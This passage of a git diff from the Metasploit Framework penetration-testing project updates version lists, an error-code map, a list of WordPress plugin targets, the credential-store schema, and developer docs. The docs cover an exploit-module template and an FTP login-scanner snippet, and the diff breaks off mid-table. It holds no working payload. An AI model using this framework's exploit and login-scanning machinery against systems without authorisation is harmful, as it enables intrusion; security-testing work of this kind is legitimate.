"V5_5_8",
|
||||
"V5_5_9_SNAPSHOT",
|
||||
"V5_5_9",
|
||||
"V5_6_0_SNAPSHOT",
|
||||
"V5_6_0",
|
||||
"V5_6_1_SNAPSHOT",
|
||||
"V5_6_1",
|
||||
"V5_6_2_SNAPSHOT",
|
||||
"V5_6_2",
|
||||
"V5_6_3_SNAPSHOT",
|
||||
"V5_6_3",
|
||||
"V5_6_4_SNAPSHOT",
|
||||
"V5_6_4",
|
||||
"V5_6_5_SNAPSHOT",
|
||||
"V5_6_5",
|
||||
"V5_6_6_SNAPSHOT",
|
||||
"V5_6_6",
|
||||
"V5_6_7_SNAPSHOT",
|
||||
"V5_6_7",
|
||||
"V5_6_8_SNAPSHOT",
|
||||
"V5_6_8",
|
||||
"V5_6_9_SNAPSHOT",
|
||||
"V5_6_9",
|
||||
"V5_7_0_SNAPSHOT",
|
||||
"V5_7_0",
|
||||
"V5_7_1_SNAPSHOT",
|
||||
"V5_7_1",
|
||||
"V5_7_2_SNAPSHOT",
|
||||
"V5_7_2",
|
||||
"V5_7_3_SNAPSHOT",
|
||||
"V5_7_3",
|
||||
"V5_7_4_SNAPSHOT",
|
||||
"V5_7_4",
|
||||
"V5_7_5_SNAPSHOT",
|
||||
"V5_7_5",
|
||||
"V5_7_6_SNAPSHOT",
|
||||
"V5_7_6",
|
||||
"V5_7_7_SNAPSHOT",
|
||||
"V5_7_7",
|
||||
"V5_7_8_SNAPSHOT",
|
||||
"V5_7_8",
|
||||
"V5_7_9_SNAPSHOT",
|
||||
"V5_7_9",
|
||||
"V5_8_0_SNAPSHOT",
|
||||
"V5_8_0",
|
||||
"V5_8_1_SNAPSHOT",
|
||||
"V5_8_1",
|
||||
"V5_8_2_SNAPSHOT",
|
||||
"V5_8_2",
|
||||
"V5_8_3_SNAPSHOT",
|
||||
"V5_8_3",
|
||||
"V5_8_4_SNAPSHOT",
|
||||
"V5_8_4",
|
||||
"V5_8_5_SNAPSHOT",
|
||||
"V5_8_5",
|
||||
"V5_8_6_SNAPSHOT",
|
||||
"V5_8_6",
|
||||
"V5_8_7_SNAPSHOT",
|
||||
"V5_8_7",
|
||||
"V5_8_8_SNAPSHOT",
|
||||
"V5_8_8",
|
||||
"V5_8_9_SNAPSHOT",
|
||||
"V5_8_9",
|
||||
"V5_9_0_SNAPSHOT",
|
||||
"V5_9_0",
|
||||
"V5_9_1_SNAPSHOT",
|
||||
"V5_9_1",
|
||||
"V5_9_2_SNAPSHOT",
|
||||
"V5_9_2",
|
||||
"V5_9_3_SNAPSHOT",
|
||||
"V5_9_3",
|
||||
"V5_9_4_SNAPSHOT",
|
||||
"V5_9_4",
|
||||
"V5_9_5_SNAPSHOT",
|
||||
"V5_9_5",
|
||||
"V5_9_6_SNAPSHOT",
|
||||
"V5_9_6",
|
||||
"V5_9_7_SNAPSHOT",
|
||||
"V5_9_7",
|
||||
"V5_9_8_SNAPSHOT",
|
||||
"V5_9_8",
|
||||
"V5_9_9_SNAPSHOT",
|
||||
"V5_9_9",
|
||||
"HIGHER_VERSION"
|
||||
]
|
||||
@@ -0,0 +1,101 @@
|
||||
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
|
||||
{
|
||||
0: "UVE_NOERROR",
|
||||
14002: "UVE_ENOENT",
|
||||
14005: "UVE_EIO",
|
||||
14009: "UVE_EBADF",
|
||||
14012: "UVE_ENOMEM",
|
||||
14013: "UVE_EACCES",
|
||||
14022: "UVE_EINVAL",
|
||||
14023: "UVE_ENFILE",
|
||||
14024: "UVE_EMFILE",
|
||||
14028: "UVE_ENOSPC",
|
||||
14551: "UVE_NETUNREACH",
|
||||
22001: "UVE_BFN",
|
||||
22002: "UVE_BTS",
|
||||
20003: "UVE_IID",
|
||||
22004: "UVE_LRR",
|
||||
22005: "UVE_NFI",
|
||||
30001: "UVE_RNF",
|
||||
30002: "UVE_LCK",
|
||||
30095: "UVE_FIFS",
|
||||
30097: "UVE_SELFAIL",
|
||||
30098: "UVE_LOCKINVALID",
|
||||
30099: "UVE_SEQOPENED",
|
||||
30100: "UVE_HASHOPENED",
|
||||
30101: "UVE_SEEKFAILED",
|
||||
30103: "UVE_INVALIDATKEY",
|
||||
30105: "UVE_UNABLETOLOADSUB",
|
||||
30106: "UVE_BADNUMARGS",
|
||||
30107: "UVE_SUBERROR",
|
||||
30108: "UVE_ITYPEFTC",
|
||||
30109: "UVE_ITYPEFAILEDTOLOAD",
|
||||
30110: "UVE_ITYPENOTCOMPILED",
|
||||
30111: "UVE_BADITYPE",
|
||||
30112: "UVE_INVALIDFILENAME",
|
||||
30113: "UVE_WEOFFAILED",
|
||||
30114: "UVE_EXECUTEISACTIVE",
|
||||
30115: "UVE_EXECUTENOTACTIVE",
|
||||
30124: "UVE_TX_ACTIVE",
|
||||
30125: "UVE_CANT_ACCESS_PF",
|
||||
30126: "UVE_FAIL_TO_CANCEL",
|
||||
30127: "UVE_INVALID_INFO_KEY",
|
||||
30128: "UVE_CREATE_FAILED",
|
||||
30129: "UVE_DUPHANDLE_FAILED",
|
||||
31000: "UVE_NVR",
|
||||
31001: "UVE_NPN",
|
||||
39101: "UVE_NODATA",
|
||||
39119: "UVE_AT_INPUT",
|
||||
39120: "UVE_SESSION_NOT_OPEN",
|
||||
39121: "UVE_UVEXPIRED",
|
||||
39122: "UVE_CSVERSION",
|
||||
39123: "UVE_COMMSVERSION",
|
||||
39124: "UVE_BADSIG",
|
||||
39125: "UVE_BADDIR",
|
||||
39127: "UVE_BAD_UVHOME",
|
||||
39128: "UVE_INVALIDPATH",
|
||||
39129: "UVE_INVALIDACCOUNT",
|
||||
39130: "UVE_BAD_UVACCOUNT_FILE",
|
||||
39131: "UVE_FTA_NEW_ACCOUNT",
|
||||
39134: "UVE_ULR",
|
||||
39135: "UVE_NO_NLS",
|
||||
39136: "UVE_MAP_NOT_FOUND",
|
||||
39137: "UVE_NO_LOCALE",
|
||||
39138: "UVE_LOCALE_NOT_FOUND",
|
||||
39139: "UVE_CATEGORY_NOT_FOUND",
|
||||
39201: "UVE_SR_SOCK_CON_FAIL",
|
||||
39210: "UVE_SR_SELECT_FAIL",
|
||||
39211: "UVE_SR_SELECT_TIMEOUT",
|
||||
40001: "UVE_INVALIDFIELD",
|
||||
40002: "UVE_SESSIONEXISTS",
|
||||
40003: "UVE_BADPARAM",
|
||||
40004: "UVE_BADOBJECT",
|
||||
40005: "UVE_NOMORE",
|
||||
40006: "UVE_NOTATINPUT",
|
||||
40007: "UVE_INVALID_DATAFIELD",
|
||||
40008: "UVE_BAD_DICTIONARY_ ENTRY",
|
||||
40009: "UVE_BAD_CONVERSION_ DATA",
|
||||
45000: "UVE_FILE_NOT_OPEN",
|
||||
45001: "UVE_OPENSESSION_ERR",
|
||||
45002: "UVE_NONNULL_RECORDID",
|
||||
80011: "UVE_BAD_LOGINNAME",
|
||||
80019: "UVE_BAD_PASSWORD",
|
||||
80144: "UVE_ACCOUNT_EXPIRED",
|
||||
80147: "UVE_RUN_REMOTE_FAILED",
|
||||
80148: "UVE_UPDATE_USER_FAILED",
|
||||
81001: "UVE_RPC_BAD_CONNECTION",
|
||||
81002: "UVE_RPC_NO_CONNECTION",
|
||||
81005: "UVE_RPC_WRONG_VERSION",
|
||||
81007: "UVE_RPC_NO_MORE_ CONNECTIONS",
|
||||
81009: "UVE_RPC_FAILED",
|
||||
81011: "UVE_RPC_UNKNOWN_HOST",
|
||||
81014: "UVE_RPC_CANT_FIND_ SERVICE",
|
||||
81015: "UVE_RPC_TIMEOUT",
|
||||
81016: "UVE_RPC_REFUSED",
|
||||
81017: "UVE_RPC_SOCKET_INIT_ FAILED",
|
||||
81018: "UVE_RPC_SERVICE_PAUSED",
|
||||
81019: "UVE_RPC_BAD_TRANSPORT",
|
||||
81020: "UVE_RPC_BAD_PIPE",
|
||||
81021: "UVE_RPC_PIPE_WRITE_ERROR",
|
||||
81022: "UVE_RPC_PIPE_READ_ERROR"
|
||||
}
|
||||
@@ -57,3 +57,4 @@ woocommerce-abandoned-cart
|
||||
elementor
|
||||
bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
Contains `modules_metadata_base.json` which contains information about all modules within Metasploit, as well as
|
||||
`schema.rb` which describes current state of the database schema maintained by Rails ActiveRecord.
|
||||
+25564
-1244
File diff suppressed because it is too large
Load Diff
+3
-2
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -314,8 +314,9 @@ ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
|
||||
t.datetime "created_at", precision: nil, null: false
|
||||
t.datetime "updated_at", precision: nil, null: false
|
||||
t.string "jtr_format"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
|
||||
end
|
||||
|
||||
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
|
||||
|
||||
@@ -1,3 +1,6 @@
|
||||
# Folder Purpose
|
||||
This folder contains files related to running Metasploit inside Docker.
|
||||
|
||||
# Metasploit in Docker
|
||||
## Getting Started
|
||||
|
||||
|
||||
+1
-71
@@ -181,7 +181,7 @@ module Build
|
||||
new_markdown.gsub!(link[:full_match], link[:replacement])
|
||||
end
|
||||
|
||||
fix_github_username_links(new_markdown)
|
||||
new_markdown
|
||||
end
|
||||
|
||||
attr_reader :links
|
||||
@@ -300,76 +300,6 @@ module Build
|
||||
|
||||
matched_pages.first.fetch(:new_path)
|
||||
end
|
||||
|
||||
def fix_github_username_links(content)
|
||||
known_github_names = [
|
||||
'@0a2940',
|
||||
'@ChrisTuncer',
|
||||
'@TomSellers',
|
||||
'@asoto-r7',
|
||||
'@busterb',
|
||||
'@bwatters-r7',
|
||||
'@jbarnett-r7',
|
||||
'@jlee-r7',
|
||||
'@jmartin-r7',
|
||||
'@mcfakepants',
|
||||
'@Op3n4M3',
|
||||
'@gwillcox-r7',
|
||||
'@red0xff',
|
||||
'@mkienow-r7',
|
||||
'@pbarry-r7',
|
||||
'@schierlm',
|
||||
'@timwr',
|
||||
'@zerosteiner',
|
||||
'@zeroSteiner',
|
||||
'@harmj0y',
|
||||
]
|
||||
# These tags look like Github/Twitter handles, but are actually ruby/java code snippets
|
||||
ignored_tags = [
|
||||
'@spid',
|
||||
'@adf3',
|
||||
'@LDAP-DC3',
|
||||
'@harmj0yDescription',
|
||||
'@phpsessid',
|
||||
'@http_client',
|
||||
'@abstract',
|
||||
'@accepts_all_logins',
|
||||
'@addresses',
|
||||
'@aliases',
|
||||
'@channel',
|
||||
'@client',
|
||||
'@dep',
|
||||
'@handle',
|
||||
'@instance',
|
||||
'@param',
|
||||
'@pid',
|
||||
'@process',
|
||||
'@return',
|
||||
'@scanner',
|
||||
'@yieldparam',
|
||||
'@yieldreturn',
|
||||
'@compressed',
|
||||
'@content',
|
||||
'@path',
|
||||
'@sha1',
|
||||
'@type',
|
||||
'@git_repo_uri',
|
||||
'@git_addr',
|
||||
'@git_objs',
|
||||
'@refs',
|
||||
]
|
||||
|
||||
# Replace any dangling github usernames, i.e. `@foo` - but not `[@foo](http://...)` or `email@example.com`
|
||||
content.gsub(/(?<![\[|\w])@[\w-]+/) do |username|
|
||||
if known_github_names.include? username
|
||||
"[#{username}](https://www.github.com/#{username.gsub('@', '')})"
|
||||
elsif ignored_tags.include? username
|
||||
username
|
||||
else
|
||||
raise "Unexpected username: '#{username}'"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
|
||||
|
||||
@@ -1,17 +1,41 @@
|
||||
Maintainers can assign labels to both issues and pull requests.
|
||||
|
||||
### Attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Bug
|
||||
|
||||
Any PR that fixes a bug or an issue that raises awareness of a bug in the framework.
|
||||
|
||||
### Breaking Change
|
||||
|
||||
Features that are great, but will cause breaking changes and should be deployed on a large release.
|
||||
|
||||
### Code Quality
|
||||
|
||||
When a PR improves code quality.
|
||||
|
||||
### Confirmed
|
||||
|
||||
Specifically for issues that have been confirmed by a committer.
|
||||
|
||||
### Docs
|
||||
|
||||
Documentation changes, such as YARD markup, or README.md, or something along those lines.
|
||||
|
||||
### External
|
||||
### External Modules
|
||||
|
||||
Touches something in /external, or the Gemfile, or something like that.
|
||||
PRs dealing with modules run as their own process.
|
||||
|
||||
### Heartbleed
|
||||
|
||||
Has to do with heartbleed. This will go away soon, but there are three outstanding still...
|
||||
|
||||
### Hotness
|
||||
|
||||
Something we're really excited about.
|
||||
|
||||
### Library
|
||||
|
||||
Touches something in /lib.
|
||||
@@ -26,20 +50,20 @@ Plugins and scripts, anything that's not otherwise defined.
|
||||
|
||||
### Module
|
||||
|
||||
Touches something in /modules
|
||||
Touches something in /modules.
|
||||
|
||||
### Specs
|
||||
### Needs Linting
|
||||
|
||||
Has specs (an rspec test)
|
||||
The module needs additional work to pass our automated linting rules.
|
||||
|
||||
### Needs More Information
|
||||
|
||||
The issue lacks enough detail to replicate/resolve successfully.
|
||||
|
||||
### Newbie Friendly
|
||||
|
||||
Something that's pretty easy to test or tackle.
|
||||
|
||||
### attic
|
||||
|
||||
When we move something to the attic it means that what you submitted is a thing that we want but the circumstances were not quite right for landing it. Sometimes this is on us, and sometimes the contribution needs more work. We recognize that contributors work on the PRs they submit at their own pace. Take a look at the comments and review suggestions on your PR, and feel free to re-open it if and when you have time to work on it again. Don't think you'll be able to get it across the finish line? Find a community champion to do it for you.
|
||||
|
||||
### Needs unique branch
|
||||
|
||||
Your submitted a PR from your `master` branch.
|
||||
@@ -49,4 +73,74 @@ Because of how GitHub tracks changes between branches and what got added in a pa
|
||||
git checkout -b <BRANCH_NAME>
|
||||
git push <your_fork_remote> <BRANCH_NAME>
|
||||
```
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
This helps protect the process, ensure users are aware of commits on the branch being considered for merge, allows for a location for more commits to be offered without mingling with other contributor changes and allows contributors to make progress while a PR is still being reviewed.
|
||||
|
||||
### Needs-docs
|
||||
|
||||
When a module is uploaded without a corresponding documentation file, add this label in indicate docs are required
|
||||
|
||||
### Not Stale
|
||||
|
||||
Label to stop an issue from being auto closed.
|
||||
|
||||
### Osx
|
||||
|
||||
Label for any osx related work.
|
||||
|
||||
### Payload
|
||||
|
||||
Touches something related to a payload.
|
||||
|
||||
### RN (Release notes)
|
||||
|
||||
There are a series of labels that are added to all PRs when they are landed that define the release notes for the PR.
|
||||
They are denoted by the `rn-` prefix and they are important as they are used by automation to track metasploit-framework
|
||||
statistics:
|
||||
|
||||
#### rn-enhancement
|
||||
|
||||
Release notes for an enhancement.
|
||||
|
||||
#### rn-fix
|
||||
|
||||
Release notes for a fix.
|
||||
|
||||
#### rn-modules
|
||||
|
||||
Release notes for new or majorly enhanced modules.
|
||||
|
||||
#### rn-no-release-notes
|
||||
|
||||
The PR is too small or insignificant to warrant release notes.
|
||||
|
||||
#### rn-wiki
|
||||
|
||||
Release notes for Metasploit Framework wiki.
|
||||
|
||||
### Stale
|
||||
|
||||
Marks an issue as stale, to be closed if no action is taken.
|
||||
|
||||
### Suggestion
|
||||
|
||||
Suggestions for new functionality.
|
||||
|
||||
### Suggestion-docs
|
||||
|
||||
New documentation suggestions.
|
||||
|
||||
### Suggestion-feature
|
||||
|
||||
New feature suggestions.
|
||||
|
||||
### Suggestion-Module
|
||||
|
||||
New module suggestions.
|
||||
|
||||
### Usability
|
||||
|
||||
Usability improvements.
|
||||
|
||||
### YARD
|
||||
|
||||
YARD Documentation Tasks for API Documentation.
|
||||
|
||||
@@ -106,7 +106,7 @@ Enter passphrase: [...]
|
||||
|
||||
2. Modify your `.git/config` file to enable signing commits and merges by default:
|
||||
|
||||
````
|
||||
```ini
|
||||
[user]
|
||||
name = Your Name
|
||||
email = your_email@example.com
|
||||
@@ -114,7 +114,7 @@ Enter passphrase: [...]
|
||||
[alias]
|
||||
c = commit -S --edit
|
||||
m = merge -S --no-ff --edit
|
||||
````
|
||||
```
|
||||
|
||||
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
|
||||
|
||||
|
||||
@@ -58,7 +58,7 @@ You probably shouldn't run proof of concept exploit code you find on the Interne
|
||||
|
||||
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
|
||||
|
||||
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
|
||||
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/view/Nick_Registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
|
||||
|
||||
# Thank you
|
||||
|
||||
|
||||
@@ -147,7 +147,7 @@ This method is just a stub on the Base mixin. It will be overridden in each Logi
|
||||
|
||||
For an example let's look at the attempt_login method from `Metasploit::Framework::LoginScanner::FTP (lib/metasploit/framework/login_scanner/ftp.rb)`
|
||||
|
||||
```ruby
|
||||
```ruby
|
||||
# (see Base#attempt_login)
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
@@ -156,7 +156,7 @@ def attempt_login(credential)
|
||||
|
||||
begin
|
||||
success = connect_login(credential.public, credential.private)
|
||||
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
|
||||
rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionProxyError, Rex::ConnectionTimeout, Rex::TimeoutError, Errno::ECONNRESET, Errno::EINTR, ::Timeout::Error
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
success = false
|
||||
end
|
||||
@@ -170,7 +170,7 @@ def attempt_login(credential)
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
```
|
||||
```
|
||||
|
||||
### scan!
|
||||
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order.
|
||||
|
||||
Mentors: @busterb, @zerosteiner, @timwr, @asoto-r7, @jmartin-r7, @pbarry-r7, @mkienow-r7, @jbarnett-r7
|
||||
Mentors: [@busterb](https://github.com/busterb), [@zerosteiner](https://github.com/zerosteiner), [@timwr](https://github.com/timwr), [@asoto-r7](https://github.com/asoto-r7), [@jmartin-r7](https://github.com/jmartin-r7), [@pbarry-r7](https://github.com/pbarry-r7), [@mkienow-r7](https://github.com/mkienow-r7), [@jbarnett-r7](https://github.com/jbarnett-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
## Enhance Metasploit Framework
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @zerosteiner, @jmartin-r7, @gwillcox-r7
|
||||
Mentors: [@zerosteiner](https://github.com/zerosteiner), [@jmartin-r7](https://github.com/jmartin-r7), [@gwillcox-r7](https://github.com/gwillcox-r7)
|
||||
|
||||
Slack Contacts: @zeroSteiner, @Op3n4M3, @gwillcox-r7 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
GSoC Project Ideas in no particular order. When you've picked one, take a look at [[How-to-Apply-to-GSoC]] for how to make a proposal.
|
||||
|
||||
Mentors: @jmartin-r7
|
||||
Mentors: [@jmartin-r7](https://github.com/jmartin-r7)
|
||||
|
||||
Slack Contacts: @Op3n4M3 on [Metasploit Slack](https://metasploit.slack.com/)
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ But of course, to begin, you most likely need a template to work with, and here
|
||||
|
||||
```ruby
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
@@ -69,7 +69,12 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '',
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||
},
|
||||
)
|
||||
)
|
||||
end
|
||||
@@ -99,7 +104,14 @@ end
|
||||
|
||||
* **Payloads** - The Payloads field specifies how the payload should be encoded and generated. You can specify: `Space`, `SaveRegisters`, `Prepend`, `PrependEncoder`, `BadChars`, `Append`, `AppendEncoder`, `MaxNops`, `MinNops`, `Encoder`, `Nop`, `EncoderType`, `EncoderOptions`, `ExtendedOptions`, `EncoderDontFallThrough`.
|
||||
|
||||
**DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
* **DisclosureDate** - The DisclosureDate is about when the vulnerability was disclosed in public, in the format of: "M D Y". For example: "Apr 04 2014"
|
||||
|
||||
* **Notes** - The Notes field is a hash always containing three keys. The value of each key is an array of constants. The list of available constants can be found in the [[Definition of Module Reliability Side Effects and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]. The key should be present even if the array is empty.
|
||||
|
||||
* **Stability** - The Stability field describes how the exploit affects the system it's being run on, ex: `CRASH_SAFE`, `CRASH_OS_DOWN`
|
||||
* **Reliability** - The Reliability field describes how reliable the session is that gets returned by the exploit, ex: `REPEATABLE_SESSION`, `UNRELIABLE_SESSION`
|
||||
* **SideEffects** - The SideEffects field describes the side effects cause by the exploit that the user should be aware of, ex: `ARTIFACTS_ON_DISK`, `IOC_IN_LOGS`, `ACCOUNT_LOCKOUTS`.
|
||||
|
||||
|
||||
Your exploit should also have a `check` method to support the check command, but this is optional in case it's not possible.
|
||||
|
||||
|
||||
@@ -33,7 +33,6 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Exploit Ranking]]
|
||||
- [[Module Reference Identifiers]]
|
||||
- [[How to check Microsoft patch levels for your exploit]]
|
||||
- [[How to clean up files using FileDropper]]
|
||||
- [[How to deprecate a Metasploit module]]
|
||||
- [[How to do reporting or store data in module development]]
|
||||
- [[How to log in Metasploit]]
|
||||
@@ -65,6 +64,7 @@ Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-U
|
||||
- [[Using ReflectiveDll Injection]]
|
||||
- [[Oracle Usage]]
|
||||
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
|
||||
- [[How to cleanup after module execution]]
|
||||
|
||||
# Metasploit Payloads #
|
||||
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
Metasploit plugins can change the behavior of Metasploit framework by adding new features, new user interface commands, and more.
|
||||
They are designed to have a very loose definition in order to make them as useful as possible.
|
||||
|
||||
Plugins are not available by default, they need to be loaded:
|
||||
|
||||
```msf
|
||||
msf6 > load plugin_name
|
||||
```
|
||||
|
||||
Plugins can be automatically loaded and configured on msfconsole's start up by configuring a custom `~/.msf4/msfconsole.rc` file:
|
||||
|
||||
```
|
||||
load plugin_name
|
||||
plugin_name_command --option
|
||||
```
|
||||
|
||||
## Available Plugins
|
||||
|
||||
The current available plugins for Metasploit can be found by running the `load -l` command, or viewing Metasploit's [plugins](https://github.com/rapid7/metasploit-framework/tree/master/plugins) directory:
|
||||
|
||||
| name | Description |
|
||||
|------------------|-----------------------------------------------------------------------------------------------------|
|
||||
| aggregator | Interacts with the external Session Aggregator |
|
||||
| alias | Adds the ability to alias console commands |
|
||||
